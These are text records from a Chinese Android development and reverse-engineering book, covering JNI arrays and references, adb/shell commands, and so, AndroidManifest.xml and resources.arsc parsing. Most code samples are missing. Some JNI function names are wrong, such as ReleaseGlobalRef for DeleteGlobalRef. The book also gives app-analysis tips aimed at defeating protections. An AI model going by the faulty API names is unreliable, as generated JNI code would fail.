    {"text": "未知 2.6 C/C++中操作Java中的数组 在Java中数组分为两种： ·基本类型数组。 ·对象类型（Object[]）的数组（数组中存放的是指向Java对象中的引用）。 一个能用于两种不同类型数组的函数是GetArrayLength（jarray array）。 2.6.1 操作基本类型数组 首先来看一下怎么处理基本类型的数组，有如下几种方法。 1.Get<Type>ArrayElements方法 这类函数可以把Java基本类型的数组转换到C/C++中的数组，有两种处理方式，一种是拷贝一份传回本地代码，另一种是把指向Java数组的指针直接传回到本地代码中，处理完本地化的数组后，通过Release<Type>ArrayElements来释放数组。 2.Release<Type>ArrayElements方法 用这个函数可以选择将如何处理Java和C++的数组，是提交，还是撤销等，内存释放还是不释放等。 mode可以取下面的值： ·0：对Java的数组进行更新并释放C/C++的数组。 ·JNI_COMMIT：对Java的数组进行更新但是不释放C/C++的数组。 ·JNI_ABORT：对Java的数组不进行更新，释放C/C++的数组。 3.GetPrimittiveArrayCritical方法 4.ReleasePrimitiveArrayCritical方法 也是JDK1.2出来的函数，为了增加直接传回指向Java数组的指针而加入的函数，同样也会有同GetStringCritical一样死锁的问题。 5.Get<Type>ArrayRegion方法 在C/C++预先开辟一段内存，然后把Java基本类型的数组拷贝到这段内存中，这个方法和之前拷贝字符串的GetStringRegion方法的原理是类似的。 6.Set<Type>ArrayRegion方法 把Java基本类型数组中的指定范围的元素用C/C++数组中的元素来赋值。 7.<Type>ArrayNew方法 指定一个长度然后返回相应的Java基本类型的数组。 2.6.2 操作对象类型数组 JNI没有提供把Java对象类型数组（Object[]）直接转到C++中的Object[]数组的函数，而是通过Get/SetObjectArrayElement这样的函数来对Java的Object[]数组进行操作。由于对象数组没有进行拷贝，所以不需要释放任何资源。NewObjectArray可以通过指定长度和初始值来创建某个类的数组。 下面来看个例子：操作两种类型的数组。 Java中的代码： C++中的代码： 在Eclipse编译运行，结果如图2-29所示。 图2-29 在Eclipse中运行的结果"},
    {"text": "未知 2.7 C/C++中的引用类型和ID的缓存 2.7.1 引用类型 从Java虚拟机创建的对象传到本地C/C++代码时会产生引用，根据Java的垃圾回收机制，只要有引用存在就不会触发该引用所指的Java对象的垃圾回收。下面介绍C/C++中的引用类型。 1.局部引用 局部引用是最常见的引用类型，基本上通过JNI返回来的引用都是局部引用，例如使用NewObject就会返回创建出来的实例的局部引用，局部引用只在该native函数中有效，所有在该函数中产生的局部引用，都会在函数返回的时候自动释放，也可以使用DeleteLocalRef函数手动释放该引用。那么，既然局部引用能够在函数返回时自动释放，为什么还需要DeleteLocalRef函数呢。 实际上局部引用存在是防止其指向的对象被垃圾回收，尤其是当一个局部引用指向一个很庞大的对象，或是在一个循环中生成了局部引用。最好的做法就是在使用完该对象后，在该循环尾部把这个引用释放掉，以确保在触发垃圾回收器的时候能够回收。 在局部引用的有效期中，可以传递到别的本地函数中，要强调的是它的有效期仍然只在一次的Java本地函数调用中，所以千万不能用C++全局变量保存它或者把它定义为C++静态局部变量。 2.全局引用 全局引用可以跨越当前线程，在多个native函数中有效，不过需要编程人员手动来释放该引用，全局引用存在期间会防止在Java的垃圾回收器的回收。 与局部引用不同，全局引用的创建不是由JNI自动创建的，全局引用是需要调用NewGlobalRef函数，而释放它需要使用ReleaseGlobalRef函数。 3.弱全局引用 弱全局引用是Java 1.2新出来的功能，与全局引用相似，创建和删除都需要由编程人员来进行，这种引用与全局引用一样可以在多个本地代码中有效，也跨越多线程有效。不一样的是，这种引用将不会阻止垃圾回收器回收这个引用所指向的对象，使用NewWeakGlobalRef和ReleaseWeakGlobalRef来产生和解除引用。 关于引用的一个函数如下： 上述的六种方法很好理解，这里就不做解释了。 这个函数是用来比较两个引用是否相等，但是对于弱全局引用还有一个特别的功能，如果把NULL传入要比较的对象中，就能够判断弱全局引用所指向的Java对象是否被回收。 缓存jfieldID/jmethodID，取得jfieldID和jmethodID的时候会通过该属性/方法名称加上签名来查询相应的jfieldID/jmethodID。这种查询相对来说开销大，我们可以将这些FieldID/MethodID缓存起来，这样就需要查询一次，以后就是用缓存起来的FieldID/MethodID了。 2.7.2 缓存方法 1.在用的时候缓存 在native代码中使用static局部变量来保存已经查询过的id，这样就不会在每次函数调用时查询，而只要第一次查询成功后就保存起来了。不过在这种情况下就不得不考虑多线程同时调用此函数时可能会招致同时查询的危机，不过这种情况是无害的，因为查询同一个属性方法的ID通常返回的是一样的值： static jfieldID fieldID_string=NULL；这段代码只执行一次。 2.在Java类初始化时缓存 更好的一个方式是在任何native函数调用前把ID全部存起来，可以让Java在第一次加载这个类的时候首先调用本地代码初始化所有的jfieldID/jmethodID，这样就可以省去多次确定ID是否存在的语句。当然，这些jfieldID/jmethodID是定义在C/C++的全局，使用这种方式还是有好处的，当Java类卸载或者重新加载的时候，也会调用该本地代码来重新计算ID的。 在Java中使用静态代码块进行初始化。 未知 2.8 本章小结 本章主要介绍了Android中的NDK开发，其实Android中的NDK就是Java中的JNI，两者没有本质区别，特别是在语法和开发流程上几乎是一样的。后续章节有很多地方会用到这里的相关知识，建议读者能够自己独立编写出一个native的案例，为后面的学习做准备。 未知 第3章 Android中开发与逆向常用命令总结 Android中开发和逆向用到的命令很多，本章介绍一些隐蔽但却非常好用的命令，可以帮助快速找到问题，这些命令都是我在开发实践中总结出来的，大家不妨了解一下。 未知 3.1 基础命令 基础命令是用得最多的，下面介绍两个基础命令。 1.cat命令 cat命令主要用于查看文件内容，这个命令的重要性不言而喻，有时候想查看文件信息，当然可以借助软件查看，但是这个命令非常便捷，更重要的是它可以结合grep过滤内容信息： 记住一点：Linux中的过滤命令是grep，Windows中的过滤命令是findstr。 2.echo/touch命令 echo和touch命令可以方便地写文件，下面看一下这两个命令的结合使用： 这里可以看到用echo和touch命令写内容到文件中，然后用cat命令读取文件信息。这里还用到了内容重定向符号“>”和“>>”，这两个符号也是非常有用的，有时候在执行一条命令时可能输出的结果非常多，这时就需要借助重定向命令把结果输出到文本中。后面还会提到这个用途。"},
    {"text": "未知 3.2 非shell命令 我把常用命令分为非shell命令和shell命令，当然这样分类有点不合常规。为了好理解，我把需要提前用adb shell命令运行的命令叫做shell命令，直接用adb shell运行的命令叫做非shell命令。本节介绍非shell命令，下一节介绍shell命令。 1.adb shell dumpsys activity top 说明：可以查看当前应用的activity信息。 用法：运行需要查看的应用。 案例： 延伸：如果直接运行adb shell dumpsys也是可以的，只是会把当前系统中所有应用运行的四大组件都会打印出来，而这时候会发现打印的内容非常多，就需要借助之前说到的信息重定向了，具体做法如下。 这里还借助了Windows中的start命令，可以直接利用系统默认程序打开文本内容。而且我在以往逆向应用的时候，很多时候都用到这个命令来找到突破口。 2.adb shell dumpsys package 说明：可以查看指定包名应用的详细信息（相当于应用的AndroidManifest.xml中的内容）。 用法：adb shell dumpsys package[pkgname] 案例： 这里就是相当于把应用的清单文件打印出来而已。 3.adb shell dumpsys meminfo 说明：可以查看指定进程名或者进程id的内存信息。 用法：adb shell dumpsys meminfo[pname/pid] 案例： 利用这个命令可以查看进程当前的内存情况，和后面的top命令可以结合使用，分析应用的性能消耗情况。 4.adb shell dumpsys dbinfo 说明：可以查看指定包名应用的数据库存储信息（包括存储的SQL语句）。 用法：adb shell dumpsys dbinfo[packagename] 案例： 这里可以清晰地看到应用执行过的SQL语句信息，对应用逆向的时候具有一定用途。毕竟可以查看应用操作数据库信息了。 5.adb intall 说明：安装应用包apk文件。 用法：adb install[apk文件]。 案例： 注意： 如果应用已经安装了，需要使用adb install-r[apk文件]，相当于升级安装。这个命令就不多说了，非常简单。 6.adb uninstall 说明：卸载应用。 用法：adb uninstall[packagename] 案例： 和上面的命令类似。 7.adb pull 说明：将设备中的文件放到本地。 用法：adb pull设备目录文件本地目录。 案例： 注意，在操作的时候可能遇到文件权限问题，用chmod改一下权限即可。 8.adb push 说明：将本地文件放到设备中。 用法：adb push本地目录文件设备目录。 案例： 注意，在操作的时候可能遇到文件权限问题，用chmod改一下权限即可。 9.adb shell screencap 说明：截屏操作。 用法：adb shell screencap-p截图文件路径。 案例： 这个命令对于测试人员非常有用，有时候想快速截取手机屏幕，只要快速打开，就可以利用这个命令写一个简单的脚本文件，内容如下： 这样就一步到位，很快打开一个截图图片。这个是Windows中的bat命令格式。 延伸：一些恶意软件利用设备root之后，运行该命令就可以获取用户当前屏幕信息，对于盗取账号非常危险。 10.adb shell screenrecord 说明：录屏操作。 用法：adb shell screenrecord视频保存路径。 案例： 这个命令其实和上面截屏命令差不多，只不过这个是录制屏幕，对于测试人员来说更加重要，有时候想复现问题步骤，那么就可以采用这个命令进行录屏功能。 延伸：现在很多录屏软件（在5.0之前版本）可以在root之后用这个命令进行录屏功能。 11.adb shell input text 说明：输入文本内容。 用法：adb shell input text[需要输入文本框内容] 案例： 让需要输入内容的文本框获取焦点： 注意： 这个命令也可以模拟物理按键、虚拟键盘、滑动、滚动等事件。 延伸：这个命令对于需要输入一大堆信息到文本框中的情况非常有用，比如在PC端有一段内容，想输入到手机的某个搜索框中，那么可以通过把这段内容发送到手机，然后再复制操作。但是有了这个命令就非常简单，先让想要输入的文本框获取焦点，然后运行这个命令即可。 12.adb forward 说明：设备的端口转发。 用法：adb forwrad[（远程端）协议：端口号][（设备端）协议：端口号] 案例： 这个命令在IDA调试中非常有用。 13.adb jdwp 说明：查看设备中可以被调试的应用的进程号。 用法：adb jdwp 案例： 这个命令或许用途不是很多，但是在调试的时候还是有点用途。 14.adb logcat 说明：查看当前日志信息。 用法1：adb logcat-s tag 案例：adb logcat-s fb 用法2：adb logcat|findstr pname/pid/keyword 案例：adb logcat|findstr cn.wjdiankong.demo 这个命令大家都不陌生，也是重中之重，有的同学或许会好奇，为何不用AS查看日志了，但是有时候AS不能满足需求，比如想开多个日志窗口，这时候可以打开多个cmd窗口利用这个命令查看日志信息即可。用得最多的就是-s参数，可以直接查看对应的tag日志信息，利用findstr进行信息过滤： 这里因为是在Windows下，所以用findstr进行信息过滤了，当然这个命令也可以直接在adb shell运行之后，比如： 这样就可以用grep进行信息过滤了。"},
    {"text": "未知 3.3 shell命令 我所说的shell命令运行的前提是先运行adb shell，而这些命令和非shell命令都是互通的，所谓互通就是要想在设备中运行shell命令，就优先运行adb shell一下。比如查看当前应用信息，可以这么做： 也可以直接在外部运行，比如清空应用数据： 1.run-as 说明：可以在非root设备中查看指定debug模式的包名应用沙盒数据。 用法：run-as[package name] 案例：run-as cn.wjdiankong.demo 后面章节会详细介绍这个命令的原理。在开发中有时候对一个非root手机想看debug应用的沙盒数据，那么这个命令就可以帮助进行这项操作了。 2.ps 说明：查看设备的进程信息，或者指定进程的线程信息。 用法：ps|grep过滤内容 ps-t[pid]查看pid对应的线程信息 案例： 这个命令的重要程度不必多说，可以结合grep进行信息过滤。 3.pm clear 说明：清空指定包名应用的数据。 用法：pm clear[packagename] 案例：pm clear cn.wjdiankong.demo 有时候想清空一个应用的数据，可能需要去设置页面进行操作。可以不用那么麻烦，直接用这个命令即可。 4.pm install 说明：安装设备中的apk文件，功能和adb install一样。 用法：pm install[apk文件] 案例： 这个命令与adb install命令一样。 5.pm uninstall 说明：卸载设备中的应用，功能与adb uninstall一样。 用法：pm uninstall[packagename] 案例： 这个命令和adb uninstall命令一样。 6.am start 说明：启动一个应用。 用法：am start-n[包（package）名]/[包名].[活动（activity）名称] 案例： 注意： 可以用debug方式启动应用（am start-D-n…）。特别在反编译调试应用的时候，可能需要用debug方式启动应用。 7.am startservice 说明：启动一个服务。 用法：am startservice-n[包（package）名]/[包名].[服务（service）名] 案例： 和上面命令类似，启动服务。 8.am broadcast 说明：发送一个广播。 用法：am broadcast-a[广播动作] 案例： 和上面的命令类似，发送一个广播。有时候定义了一个广播，可能需要测试，就可以借助这个功能模拟发送一个广播。 9.netcfg 说明：查看设备的ip地址。 用法：netcfg 有时候想查看设备的ip地址，去设置页面太费劲了，可以直接用这个命令即可： 10.netstat 说明：查看设备的端口号信息。 用法：netstat 有时候想查看设备的端口号信息，这个命令也是非常重要的，例如： 11.app_process 说明：运行Java代码。 用法：app_process[运行代码目录][运行主类] 案例： 这个命令主要用于Android中一些特殊开发场景中，想启动一个jar包，不过这个jar包有要求：需要dx命令把dex文件转化成jar包功能，实际上它不是一个正常的jar包了，而是一个包含了classes.dex文件的压缩文件了。 12.dalvikvm 说明：运行一个dex文件。 用法：dalvikvm-cp[dex文件][运行主类] 案例： 有时候为了测试一个dex文件功能可以用到这个命令，与上面的命令有很大相似之处，只是运行的文件不一样。 13.top 说明：查看当前应用的CPU消耗信息。 用法：top[-n/-m/-d/-s/-t] -m//最多显示多少个进程 -n//刷新次数 -d//刷新间隔时间（默认5秒） -s//按哪列排序 -t//显示线程信息而不是进程 案例： 这个命令在分析应用性能的时候非常有用，可以用grep过滤想要分析的应用信息，查看它的当前CPU使用率。 14.getprop 说明：查看系统属性值。 用法：getprop[属性值名称] 案例： 这个命令可以查看设备的信息，比如设备版本号、系统属性等，后面章节会介绍在root设备之后，还可以去修改这些系统属性。比如debug开关，让所有的应用都处于可调试状态。 未知 3.4 操作apk命令 有两个命令可直接获取apk的信息，下面分别介绍。 1.用aapt操作apk命令 说明：查看apk中的信息以及编辑apk程序包。 用法：aapt dump xmltree[apk包][需要查看的资源文件xml] 案例： 依然用重定向把输出信息保存到文件中，然后再打开查看，可以看到非常详细的apk清单文件了。所以有时候想查看一个apk中的清单文件，也没必要进行复杂的反编译工作。 2.用dexdump操作dex命令 说明：可以查看一个dex文件的详细信息。 用法：dexdump[dex文件路径] 案例： 这个命令用于查看apk中dex文件的详细信息，有时候也没必要反编译，可以直接用这个命令即可。 未知 3.5 进程命令 这里介绍用cat命令查看当前应用进程的信息，在逆向中可能用得到。 1.查看当前进程的内存加载情况 可以使用如命令 查看当前进程的内存映射信息，比如加载了哪些so文件，dex文件等： 2.查看进程的状态信息 可以利用如下命令 查看当前进程的状态信息，比如熟知的TracerPid： 3.查看当前应用使用的端口号信息 可以使用如下命令 获取当前应用使用到的端口号信息： 注意： 上面介绍的shell命令也可以在手机中直接运行，需要去下载一个“终端模拟器”应用，直接在里面输入这些shell命令即可，这样不用电脑就可以进行操作了。 未知 3.6 本章小结 本章分析了Android开发和逆向中常用的一些命令，这些命令对于后续操作起到非常高效的助推作用。当然还有其他命令，只是没有那么好用，也就没有介绍了。"},
    {"text": "未知 第4章 so文件格式解析 本章详细介绍so文件的内容，so文件的格式解析非常重要，不仅对Android中的底层开发非常有用，而且对Android的安全更重要。在这个内容基础之上，后面的章节中会进一步介绍如何对so文件进行加密做到应用的安全防护，以及逆向分析应用的so代码逻辑。 未知 4.1 ELF文件格式 Android中的so文件就是ELF文件，所以要了解so文件，必须先来了解一下ELF文件的格式。如何详细了解ELF文件？最好的方法就是手动写一个工具类来解析一个ELF文件。ELF文件格式见图4-1。 图4-1 ELF文件格式（见书后彩图，图片由@非虫授权） 这张图已经很详细了，后面用Java代码来解析ELF文件的时候，就是按照这张图来进行的。 未知 4.2 解析工具 这里还需要介绍一个工具readelf，因为这个工具在解析ELF文件的时候也非常有用，而且是检查解析ELF文件的模板。不过Window下这个命令不能用，因为这个命令是Linux的，所以还得做个工作，就是安装Cygwin。 提示： Cygwin下载地址： http://pan.baidu.com/s/1C1Zci 下载Cygwin之后，需要改一个东西才能用，如图4-2所示。 图4-2 下载Cygwin工具 改一下这个文件： 将路径要改成你本地cygwin64中的bin目录的路径，不然运行错误。改好之后，直接运行Cygwin.bat就可以了。 关于readelf工具我们这里不做太详细的介绍，只介绍本章要用到的命令。 1.readelf-h xxx.so 查看so文件的头部信息，如下所示： 2.readelf-S xxx.so 查看so文件的节（Section）头的信息，如下所示： 3.readelf-l xxx.so 查看so文件的程序段头信息（Program），如下所示： 4.readelf-a xxx.so 查看so文件的全部内容，如下所示： 还有很多命令及用法，这里就不细讲了。 未知 4.3 解析ELF文件 上面介绍了ELF文件格式资料、解析ELF文件的工具，下面就来实际操作一下，用Java代码动手解析一个libhello-jni.so文件。这个libhello-jni.so文件可以下载。 提示： libhello-jni.so下载地址： http://download.csdn.net/detail/jiangwei0910410003/9204087 1.定义ELF文件中各个结构体内容 这需要参考elf.h这个头文件的格式，这个文件在Android源码目录中： 在看elf.h文件中定义的数据结构时，要记得每个字段的占用字节数就可以了。 有了结构定义，下面就来看看如何解析吧。在解析之前需要将so文件读取到byte[]中，定义一个数据结构类型： 2.解析ELF文件的头部信息 文件的最开始几个字节给出如何解释文件的提示信息。这些信息独立于处理器，也独立于文件中的其余内容。ELF头部信息数据结构如下表示： 这里介绍几个重要的字段，后面修改so文件的时候也会用到： ·e_phoff：是程序头（Program Header）内容在整个文件的偏移值，可以用这个偏移值来定位程序头的开始位置，用于解析程序头信息。 ·e_shoff：是段头（Section Header）内容在这个文件的偏移值，可以用这个偏移值来定位段头的开始位置，用于解析段头信息。 ·e_phnum：是程序头的个数。 ·e_shnum：是段头的个数。 ·e_shstrndx：是String段在整个段列表中的索引值，用于后面定位String段的位置。 参照图4-1可以很容易解析下面代码： 按照对应的每个字段的字节个数，读取字节就可以了。 3.解析段头信息 每个段头部可以用如下数据结构描述： 这个结构中字段就不做解释了。后面会手动构造这样一个数据结构，到时候再详细说明每个字段含义。 按照这个结构，解析也简单了： 这里需要注意的是，看到的SectionHeader一般都是多个的，所以这里用一个List集合来保存。 4.解析程序头信息 可执行文件或者共享目标文件的程序头部是一个结构数组，每个结构描述了一个段或者系统准备程序执行所必需的其他信息。目标文件的“段”包含一个或者多个“节区”，也就是“段内容”（Segment Contents）。程序头部仅对可执行文件和共享目标文件有意义。可执行目标文件在ELF头部的e_phentsize和e_phnum成员中给出其自身程序头部的大小。 程序头部的数据结构如下： 按照这个结构来进行解析，如下所示： 当然还有其他结构的解析工作，这里就不一一介绍了，因为这些结构在后面的介绍中不会用到，这里只需了解一下。 未知 4.4 验证解析结果 解析工作做完了，为了验证解析工作是否正确，需要给每个结构定义打印函数，也就是重写toString方法即可，如下所示： 然后再使用readelf工具来查看so文件的各个结构内容，对比就可以知道解析是否成功了。 提示： 解析代码下载地址： https://github.com/fourbrother/parse_androidso 未知 4.5 本章小结 本章主要介绍了Android中的so文件格式解析内容，了解so文件格式，对应用安全防护和逆向应用都有很重要的意义。比如，现在为了应用的安全，可以对so文件进行加密操作，这就需要对so文件格式有非常深入的了解；在逆向应用的时候，碰到so加固混淆时，可以分析so文件格式来确定哪一块数据结构被加密和防护了，从而更深入地分析问题和解决问题。"},
    {"text": "未知 第5章 AndroidManifest.xml文件格式解析 本章介绍Android的AndroidManifest.xml文件格式的内容。为什么要介绍这个内容呢？在应用安全防护中，可以利用对应用的AndroidManifest.xml文件做混淆，从而达到安全防护功能，同时在做逆向分析的时候，为了能够反编译成功，有时候必须要了解AndroidManifest.xml文件格式，需要进行文件修复才可行。 未知 5.1 格式分析 首先来脑补一个知识点，Android中的apk程序其实就是一个压缩包，可以用压缩软件进行解压的，如图5-1所示。 图5-1 apk压缩包 可以看到这里有三个文件：AndroidManifest.xml、classes.dex、resources.arsc，这三个文件都非常重要，本章介绍第一个文件，后续两章分析后两个文件。 只要反编译过apk的人都知道apktool工具的工作原理就是解析这三个文件格式。因为Android在编译成apk之后，这个文件有自己的格式，用普通文本格式打开的话是乱码，所以需要解析成能看懂的内容。就像前一章解析so文件一样。 既然编译成apk之后格式变了，那么就说明谷歌给AndroidManifest定义了一种文件格式，只要知道这种格式的话，就可以详细地解析这个文件了，如图5-2所示。 这张图详细解析了AndroidManifest.xml文件的格式，但是光看这张图可能印象不深，所以要结合一个案例来解析一个文件，才能理解透彻。下面就用一个案例来解析一下吧。 随便找一个简单的apk，用压缩文件打开，解压出AndroidManifest.xml就可以了，然后开始读取内容进行解析。 图5-2 Android Mainfest.xml文件格式（见书后彩图）"},
    {"text": "5.2.1 解析头部信息 任何一个文件格式都会有头部信息，而且头部信息也很重要，同时，头部一般都有固定格式头部信息还有以下这些字段信息： 1）文件魔数：四个字节。"},
    {"text": "下面就开始解析所有的字段Chunk内容了，其实每个Chunk的内容都有一个相似点，就是头部信息：ChunkType（四个字节）和ChunkSize（四个字节）。"},
    {"text": "说明如下： ·ChunkType：StringChunk的类型，固定四个字节：0x001C0001。 ·ChunkSize：StringChunk的大小，四个字节。 ·StringCount：StringChunk中字符串的个数，四个字节。 ·StyleCount：StringChunk中样式的个数，四个字节，但是在实际解析过程中，这个值一直是0x00000000。"},
    {"text": "·StringPoolOffset：字符串池的偏移值，四个字节，这个偏移值是相对于StringChunk的头部位置。 ·StylePoolOffset：样式池的偏移值，四个字节，这里没有Style，所以这个字段可忽略。 ·StringOffsets：每个字符串的偏移值，它的大小应该是StringCount*4个字节。 ·SytleOffsets：每个样式的偏移值，它的大小应该是SytleCount*4个字节。"},
    {"text": "1）首先需要把AndroidManifest.xml文件读入到一个byte数组中： 2）下面来解析头部信息： 按照上面说的格式解析即可： 3）解析StringChunk信息： 这里需要解释几点： 1）在上面的格式说明中，有一个Unknow字段，四个字节，所以需要略过。"},
    {"text": "有了每个字符串的偏移值和大小，那么解析字符串内容就简单了，如下所示： 可以看到0x000B（高位和低位相反）就是字符串的大小，结尾是0x0000： 一个字符对应的是两个字节，而且这里有一个方法： 逻辑就是过滤空字符串：在C语言中是NULL，在Java语言中就是00，如果不过滤的话，会出现下面的这种情况： 每个字符是宽字符，很难看，其原因是每个字符后面多了一个00，所以过滤之后就可以了，如下所示： 上面解析了AndroidManifest.xml中所有的字符串内容。"},
    {"text": "5.2.3 解析ResourceId Chunk ResourceId Chunk主要是用来存放AndroidManifest中用到的系统属性值对应的资源ID，如图5-4所示，比如android：versionCode中的versionCode属性，android是前缀，后面会说到。"},
    {"text": "图5-4 ResourceId Chunk结构 ·ChunkType：ResourceId Chunk的类型，固定四个字节0x00080108。 ·ChunkSize：ResourceId Chunk的大小，四个字节。 ·ResourceIds：ResourceId的内容，这里大小是ResourceId Chunk大小除以4，减去头部的大小8个字节（ChunkType和ChunkSize）。"},
    {"text": "Package ID相当于一个命名空间，限定资源的来源。 Android系统当前定义了两个资源命令空间，其中一个是系统资源命令空间，其Package ID等于0x01； 另外一个是应用程序资源命令空间，其Package ID等于0x7f。 所有位于[0x01，0x7f]之间的Package ID都是合法的，而在这个范围之外的都是非法的。 前面提到的系统资源包package-export.apk的Package ID就等于0x01，而在应用程序中定义的资源Package ID的值都等于0x7f，这一点可以通过生成的R.java文件来验证。"},
    {"text": "Entry ID是指每一个资源在其所属的资源类型中所出现的次序。 注意，不同类型的资源的Entry ID有可能是相同的，但是由于它们的类型不同，仍然可以通过其资源ID区别开来。"},
    {"text": "关于资源ID的更多描述，以及资源的引用关系，可以参考frameworks/base/libs/utils目录下的README文件。 可以得知系统资源对应ID的XML文件在这里：frameworks\\base\\core\\res\\res\\values\\public.xml，代码如下： 用上面解析到的ID去public.xml文件中查询一下，得到如下结果： 查到了，是versionCode，这个系统资源ID存放的文件public.xml是很重要的，后面在讲解resource.arsc文件格式的时候还会用到。"},
    {"text": "5.2.4 解析Start Namespace Chunk 这个Chunk主要包含一个AndroidManifest文件中的命令空间的内容，Android中的XML都是采用Schema格式的，所以肯定有Prefix和URI的，如图5-5所示。"},
    {"text": "·Prefix：命名空间的前缀（在字符串中的索引值），比如：android。 ·Uri：命名空间的URI（在字符串中的索引值），比如： http://schemas.android.com/apk/res/android 。"},
    {"text": "5.2.5 解析Start Tag Chunk 这个Chunk主要是存放AndroidManifest.xml中的标签信息，是最核心的内容，当然也是最复杂的内容，如图5-6所示。 图5-6 Start Tag Chunk结构 说明如下： ·Chunk Type：Chunk的类型，固定四个字节：0x00100102。"},
    {"text": "·Namespace Uri：这个标签用到的命名空间的URI，比如用到了android这个前缀，那么就需要用 http://schemas.android.com/apk/res/android 这个URI去获取，四个字节。"},
    {"text": "·Flags：标签的类型，四个字节，比如是开始标签还是结束标签等。 ·Attribute Count：标签包含的属性个数，四个字节。 ·Class Atrribute：标签包含的类属性，四个字节。"},
    {"text": "·Atrributes：属性内容，每个属性算是一个Entry，Entry是大小为5的字节数组[Namespace，URI，Name，ValueString，Data]，在解析的时候需要注意第四个值，要做一次处理：需要右移24位。"},
    {"text": "解析属性代码如下： 可以看到，第四个值需要额外的处理一下，就是需要右移24位。 解析完属性之后，可以得到一个标签的名称、属性名称、属性值： 看解析的结果： 标签manifest包含的属性如下： 这里有几个问题需要解释一下： 1）为什么看到的是三个属性，但是解析打印的结果是5个？"},
    {"text": "4）每个属性理论上都会含有一个NamespaceUri，这也决定了属性的前缀Prefix默认都是Android，但是有时候会自定义一个控件，这时候就需要导入NamespaceUri和Prefix了。"},
    {"text": "到这里就算解析完大部分的工作了，至于EndTagChunk，与StartTagChunk非常类似，这里就不再详解了，下面代码也加了解释： 在解析的时候，需要做一个循环操作： 因为Android中在解析XML的时候提供了很多种方式，但是这里没有用任何一种方式，而是用纯代码编写的，所以用一个循环来遍历解析Tag。 其实这种方式类似于用SAX解析XML，这时候本节开头提到的Flag字段就大有用途了。 这里还做了一个工作就是将解析之后的XML格式化一下，如下所示： 难度不大，这里也就不继续解释了。 有一个地方需要优化，就是可以利用LineNumber属性来精确到格式化后文件的行数，不过这个工作量有点大，这里就不做了。 有兴趣的同学可以考虑一下，格式化完之后的结果如下： 这里就把之前的16进制的内容解析出来了。"},
    {"text": "还有一个问题，就是看到还有很多@7F070001这类的东西，这其实是资源Id，这需要解析完resource.arsc文件之后，才能对应上这个资源，参见下一章。"},
    {"text": "当发现可以解析AndroidManifest文件了，那么同样也可以解析其他的XML文件： 这时解析其他XML时报错了，定位代码发现是在解析String Chunk的地方报错了，修改如下： 因为其他的XML中的字符串格式和AndroidManifest.xml中的不一样，所以这里需要单独解析一下： 修改之后就可以了。 在反编译的时候，有时候只想反编译AndroidManifest内容，所以ApkTool工具就有点繁琐了，不过网上有个已经写好了的工具AXMLPrinter.jar，这个工具很好用： 将xxx.xml解析之后输出到demo.xml中即可。"},
    {"text": "提示： AXMLPrinter.jar工具下载地址： http://download.csdn.net/detail/jiangwei0910410003/9415323 源代码下载地址： http://download.csdn.net/detail/jiangwei0910410003/9415342 AXMLPrinter.jar工具项目见图5-7。"},
    {"text": "从项目结构可以发现，它用的是Android中自带的Pull解析XML的，主函数是： 图5-7 AXMLPrinter项目 到这里还需要告诉大家一件事，对上面的解析工作有一个更简单的方法，那就是aapt命令。 关于这个aapt是干什么的，网上有很多资料，其实就是将Android中的资源文件打包成resource.arsc即可，参见图5-8。"},
    {"text": "图5-8 aapt工具 类型为res/animator、res/anim、res/color、res/drawable（非Bitmap文件，即非.png、.9.png、.jpg、.gif文件）、res/layout、res/menu、res/values和res/xml的资源文件均会从文本格式的XML文件编译成二进制格式的XML文件。"},
    {"text": "·二进制格式的XML文件解析速度更快。 这是由于二进制格式的XML元素里面不再包含有字符串值，因此就避免了进行字符串解析，从而提高速度。 将XML资源文件从文本格式编译成二进制格式，解决了空间占用以及解析效率的问题，但是对于Android资源管理框架来说，这只是完成了其中的一部分工作。"},
    {"text": "aapt命令在AndroidSdk目录中，如图5-9所示。 图5-9 aapt命令的目录 看到路径了：Android SDK目录/build-tools/下，这个目录下全是Android中构建apk的所有工具，再看一下这些工具的用途，参见图5-10。"},
    {"text": "说明如下： ·aapt.exe生成R.java类文件。 ·aidl.exe把.aidl转成.java文件（如果没有aidl，则跳过这一步）。 ·javac.exe编译.java类文件生成class文件。"},
    {"text": "继续看aapt命令的用法： 将输入的结果定向到demo.txt中，如图5-11所示。 图5-11 aapt命令输出结果 看到解析出来的内容就是上面解析的AndroidManifest.xml内容，所以这也是一个解析方法。"},
    {"text": "未知 5.3 本章小结 本章主要介绍Android编译之后的AndroidManifest.xml文件格式。可以使用网上的一个小工具AXMLPrinter。但这里我也写了一个工具解析。那么本章内容仅仅是为了解析AndroidManifest吗？肯定不是，写本章内容是为后面介绍反编译apk做准备，其实现在有很多人都发现了，在使用apktool来反编译apk的时候经常报出一些异常信息，其实那就是加固的人用来对抗apktool工具的，导致反编译失败。所以有必要了解apktool的源码和解析原理，这样才能遇到反编译失败时，能定位到问题，修复apktool工具即可。 apktool的工具解析原理其实就是解析AndroidManifest.xml、resource.arsc、classes.dex这三个文件。还有其他的布局、资源xml等，那么针对这几个问题，本章专门解析XML文件的格式，后面章节还会继续解析resource.arsc和classes.dex文件的格式。 未知 第6章 resource.arsc文件格式解析 前一章介绍了如何解析AndroidManifest文件格式，本章介绍resource.arsc文件格式解析。resource.arsc格式解析很重要，现在很多应用为了缩减应用包的大小开始对资源进行混淆，就用到这个文件格式；应用安全防护中可以通过对资源混淆来做到安全应用，也用到这个文件格式。本章将从资源文件id格式开始，详细解析资源文件的数据结构头、字符串、正文等。 未知 6.1 Android中资源文件id格式 在使用apktool工具进行反编译的时候，会发现有一个文件res/values/public.xml，如图6-1所示。 图6-1 public.xml文件 查看一下public.xml文件内容，如图6-2所示。 可以看到，这个文件保存了apk中所有id类型和对应的id值。这里面的每个条目内容都包括如下内容： ·type：类型名 ·name：资源名 ·id：资源的id 类型包括如下几种：drawable、menu、layout、string、attr、color、style等，所以会在反编译之后的文件夹中看到这几个类型的文件。 上面介绍了如何使用apktool查看资源文件的内容，下面介绍如何来解析resource.arsc文件。 解压一个apk得到对应的resource.arsc文件。按照惯例，每个文件的格式描述都是有对应的数据结构。resource也不例外：frameworks\\base\\include\\androidfw\\ResourceTypes.h，这就是resource中定义的所有数据结构。下面用一张图详细表示出resources.arsc文件格式，如图6-3所示。 图6-2 public.xml文件 图6-3 resources.arsc文件格式（见书后彩图）"},
    {"text": "6.2.1 头部信息 Resources.arsc文件格式是由一系列的chunk构成，每一个chunk均包含如下结构的ResChunk_header，用来描述这个chunk的基本信息： 参数说明： ·type：当前chunk的类型。"},
